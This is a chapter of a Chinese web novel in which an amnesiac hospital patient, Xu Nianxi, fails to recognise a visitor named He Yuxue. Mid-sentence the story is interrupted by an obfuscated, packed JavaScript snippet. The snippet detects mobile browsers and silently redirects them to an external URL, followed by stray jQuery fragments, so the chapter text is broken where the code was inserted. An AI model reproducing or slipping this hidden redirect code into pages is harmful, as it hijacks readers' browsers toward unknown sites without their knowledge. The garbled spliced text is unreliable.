第二天，许念晞醒来时，有片刻的怔忪。
阳光透过百叶窗，在病房地板上切出明暗相间的条纹。空气里消毒水的味道依旧，但似乎比昨天更浓了些。她转过头，第一眼就看到了床头柜上那本摊开的硬壳笔记本。
页面是空白的。
不，也不能算完全空白。在页眉的位置，写着一个日期。是昨天的日期。字迹有些虚浮，她看了好几眼，才勉强认出那是自己写的。
所以，昨天……是真实存在过的。不是又一个模糊的梦境。
她撑着坐起身，目光扫过房间。窗台上的绿萝叶子似乎更耷拉了一些。果篮还在，里面的橙子颜色鲜艳，与病房的素白格格不入。
林薇。
那个名字跳进脑海，带着一种模糊的熟悉感，像隔水听音。上下铺……大学……设计稿……
还有……另一个名字。
是什么？
她蹙起眉，努力想去捕捉，但脑海里只有一片空白，以及一种莫名的心悸感，空落落的，带着点未散尽的酸楚。
门被轻轻敲响。
许念晞抬起头。不是医生查房的时间，也不是护士换药。
“请进。”
门开了，进来的却不是林薇。
是一个男人。
很高，穿着熨帖的深色大衣，肩头似乎还沾着外面带来的寒气。他的面容英俊，但眉宇间笼罩着一层难以化开的疲惫和某种紧绷的情绪。手里捧着一大束白色的花，花瓣娇嫩，沾着细微的水珠，与他周身那种冷硬的气质有些不符。
他的目光几乎是瞬间就锁定了她，脚步在门口顿了一秒，然后才快步走进来。那眼神太过复杂，太过沉重，像包含了千言万语，却又死死压抑着，让许念晞感到一阵莫名的不自在，甚至想避开他的注视。
“念晞。”他开口，声音低沉，带着一丝不易察觉的沙哑，像是很久没有好好说过话，或者……熬了很深的夜。
他认识她。
许念晞看着他，眼神里是纯粹的茫然和戒备。她下意识地往后靠了靠，手指悄悄攥紧了被角。
男人敏锐地捕捉到了她这个细微的动作。他眼底似乎有什么东西碎裂了一下，那层紧绷的平静出现了一丝裂缝，泄露出其下的痛楚。但他很快控制住了，将花轻轻放在床头柜上，动作甚至显得有些笨拙，像是很不习惯做这种事。
白色的花瓣挨着那本空白的笔记本。
“我……”他喉结滚动了一下，似乎在艰难地措辞，“我叫何宇薛。我……来看看你。”
何宇薛。
这个名字落入耳中。
像一颗石子投入深不见底的古井。
许念晞等待着。等待着昨天那阵突如其来的心悸，那阵尖锐的酸痛。
但是没有。
什么都没有。
大脑深处一片沉寂。没有涟漪，没有回响。这个名字，和眼前这个看起来备受煎熬、风尘仆仆的男人，没有激起任何记忆的火花。
她甚至又努力地想了一下。何、宇、薛。三个字拆开，组合。依旧陌生。
她看着他眼底那几乎要满溢出来的、她无法理解的沉重情感，只觉得困惑，还有一丝被打扰的不安。
“哦。”她最终只是应了一声，声音平淡，带着病人常有的那种虚弱和疏离，“谢谢你的花。”
何宇薛的身体似乎僵硬了一下。他看着她，那双深邃的眼睛里翻涌着太多情绪——震惊、难以置信、受伤，还有一种近乎绝望的探寻，仿佛想从她脸上找出哪怕一丝一毫伪装的痕迹。
但他找到的，只有一片空白。比那笔记本的页面还要干净彻底的空白。
“……你，”他声音更哑了，带着一种小心翼翼，仿佛怕惊飞一只蝴蝶，“你不记得我了？”
许念晞摇了摇头，动作很轻，却带着一种残忍的肯定。
“不记得。”她说，“医
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418927|184736||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生说我记忆力出了点问题。很多事……很多人，都不太记得了。”
她顿了顿，看着他瞬间苍白的脸色，补充了一句，试图让气氛不那么尴尬：“也许……我们以前并不太熟？”
这句话像一把淬了冰的匕首，直直刺入何宇薛的心脏。
他猛地后退了半步，像是无法承受这句话带来的冲击。下颌线绷得极紧，眼眶以肉眼可见的速度迅速泛红。他死死地盯着她，像是要从她眼里看出一个不一样的答案。
许念晞被他看得有些害怕，手指将被子攥得更紧。
漫长的、令人窒息的沉默在病房里蔓延。
最终，何宇薛极其缓慢地、几乎是颓然地松开了握紧的拳头。他眼底那汹涌的浪潮仿佛在瞬间褪去，只留下荒芜的沙岸。疲惫感更深地刻进了他的眉宇。
“……是啊，”他扯了扯嘴角，那笑容比哭还难看，声音低得几乎听不见，“也许……是吧。”
他又站了一会儿，目光贪婪地在她脸上流连，仿佛要将她的模样刻进灵魂深处。然后，他哑声说：“你好好休息。我……下次再来看你。”
他没有等许念晞回应，几乎是仓促地转身，大步离开了病房。关门的声音很轻，却像一声沉重的叹息，重重砸在房间里。
许念晞独自坐在床上，看着那扇关上的门，又看了看床头那束过分洁白、过分鲜嫩的花。
空气里，似乎残留着一丝冷冽的、属于外面的气息，还有一种……极淡的、她说不清道不明的苦涩。
她的目光最终落回那本笔记本上。
空白的页面。只有一个昨天的日期。
她拿起笔。
犹豫了很久。
然后，在日期下面，另起一行，她慢慢地写下：
「一个叫何宇薛的人来看我。带了白色的花。」
笔尖停顿。
她蹙眉想了想，补充了三个字：
「不认识。」